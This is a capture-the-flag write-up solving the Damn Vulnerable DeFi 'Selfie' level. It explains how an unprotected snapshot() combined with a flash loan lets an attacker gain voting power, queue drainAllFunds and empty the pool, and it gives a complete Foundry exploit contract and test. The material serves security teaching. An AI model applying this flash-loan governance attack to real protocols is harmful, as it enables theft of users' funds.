Selfie

Description

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it.

What could go wrong, right ?

You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.

TL;DR

_hasEnoughVotes() checks governance token balance based on snapshot. We can call governanceToken.snapshot() directly since there is no access control. Just borrow flashloan and take snapshot in the callback, so that the contract thinks we have a lot of balance.

Code Audit

Snapshot can be buggy if there is no minimum "token locked time" required, which is the case for this chall.

To be able to queue actions, we must hold more than half of the governance token totalSupply:

    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }

Two things here:

  1. The governanceToken is dvtSnapshot, which is the only token used in this chall. The condition checked by _hasEnoughVotes() can easily be achieved since dvtSnapshot is the token of the flashloan pool as well.

  2. Also, look at the DamnValuableTokenSnapshot.snapshot() function, this function has no access control so we can directly call it once we receive the flashloan:

    function snapshot() public returns (uint256) {
        lastSnapshotId = _snapshot();
        return lastSnapshotId;
    }

At this our balance in the snapshot will be huge because of the flashloan.

Once we receive the flashloan, we can queue an action:

    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotesToPropose();
        if (receiver == address(this)) {
            revert CannotQueueActionsThatAffectGovernance();
        }

        uint256 actionId = actionCounter;

        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);
        return actionId;
    }

What action to queue though? Note that there is a function named SelfiePool.drainAllFunds()...Well that is clear enough:

    function drainAllFunds(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

After storing this action in the queue, we call SimpleGovernance.executeAction() to execute the action:

    function executeAction(uint256 actionId) external payable {
        if (!_canBeExecuted(actionId)) revert CannotExecuteThisAction();

        GovernanceAction storage actionToExecute = actions[actionId];
        actionToExecute.executedAt = block.timestamp;

        actionToExecute.receiver.functionCallWithValue(actionToExecute.data, actionToExecute.weiAmount);

        emit ActionExecuted(actionId, msg.sender);
    }

There a restriction though:

    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 && (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }

So we have to vm.warp() two days forward for calling SimpleGovernance.executeAction(). Since we can't vm.warp() within the attack contract of course, the idea is to do flashloan, queueAction(), and pay back flashloan in attack contract, then vm.warp() in test file and call executeAction() at the very end.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableTokenSnapshot} from "../../../src/Contracts/DamnValuableTokenSnapshot.sol";
import {SimpleGovernance} from "../../../src/Contracts/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../../src/Contracts/selfie/SelfiePool.sol";

contract Selfie is Test {
    uint256 internal constant TOKEN_INITIAL_SUPPLY = 2_000_000e18;
    uint256 internal constant TOKENS_IN_POOL = 1_500_000e18;

    Utilities internal utils;
    SimpleGovernance internal simpleGovernance;
    SelfiePool internal selfiePool;
    DamnValuableTokenSnapshot internal dvtSnapshot;
    address payable internal attacker;

    function setUp() public {
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];

        vm.label(attacker, "Attacker");

        dvtSnapshot = new DamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY);
        vm.label(address(dvtSnapshot), "DVT");

        simpleGovernance = new SimpleGovernance(address(dvtSnapshot));
        vm.label(address(simpleGovernance), "Simple Governance");

        selfiePool = new SelfiePool(
            address(dvtSnapshot),
            address(simpleGovernance)
        );

        dvtSnapshot.transfer(address(selfiePool), TOKENS_IN_POOL);

        assertEq(dvtSnapshot.balanceOf(address(selfiePool)), TOKENS_IN_POOL);

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        AttackContract attackContract = new AttackContract(selfiePool, simpleGovernance);
        attackContract.pwn();
        vm.warp(block.timestamp + 2 days);
        simpleGovernance.executeAction(attackContract.actionId());
        attackContract.withdraw();
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        // Attacker has taken all tokens from the pool
        assertEq(dvtSnapshot.balanceOf(attacker), TOKENS_IN_POOL);
        assertEq(dvtSnapshot.balanceOf(address(selfiePool)), 0);
    }
}

contract AttackContract {
    SelfiePool public selfiePool;
    SimpleGovernance public simpleGovernance;
    DamnValuableTokenSnapshot public governanceToken;
    address public owner;
    uint256 public actionId;

    constructor(SelfiePool _selfiePool, SimpleGovernance _simpleGovernance) {
        selfiePool = _selfiePool;
        simpleGovernance = _simpleGovernance;
        governanceToken = simpleGovernance.governanceToken();
        owner = msg.sender;
    }

    function pwn() external {
        selfiePool.flashLoan(governanceToken.totalSupply() / 2 + 1);
    }

    function receiveTokens(address tokenAddress, uint256 borrowAmount) external {
        // Take snapshot
        governanceToken.snapshot();

        bytes memory data = abi.encodeWithSignature(
            "drainAllFunds(address)",
            address(this)
        );
        actionId = simpleGovernance.queueAction(
            address(selfiePool),
            data,
            0
        );
        // Pay back flashloan
        governanceToken.transfer(address(selfiePool), borrowAmount);
    }

    function withdraw() external {
        governanceToken.transfer(owner, governanceToken.balanceOf(address(this)));
    }
}

Last updated